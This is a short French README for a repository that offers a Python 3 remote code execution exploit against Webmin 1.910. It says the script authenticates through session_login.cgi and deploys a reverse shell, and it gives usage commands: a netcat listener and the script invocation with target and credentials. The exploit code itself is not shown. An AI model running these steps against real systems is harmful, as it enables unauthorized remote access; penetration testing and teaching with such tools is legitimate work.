Webmin1.910_exploit

Exploit d'exécution de code à distance Webmin 1.910

Description :

Ce dépôt contient un script Python 3 conçu pour exploiter une vulnérabilité d'exécution de code à distance dans Webmin version 1.910. Le script utilise le point de terminaison session_login.cgi pour effectuer l'authentification et déployer une charge utile de shell inversé, accordant un accès distant au système cible. Cet exploit est destiné aux tests d'intrusion autorisés et à des fins pédagogiques.

1. Démarrez un listener sur votre machine locale :

nc -lvnp <lport>

2. Exécutez le script à l'aide de la commande suivante :

python3 webmin_exploit.py --rhost <target_ip> --lhost <your_ip> --lport <your_port> -u <username> -p <password>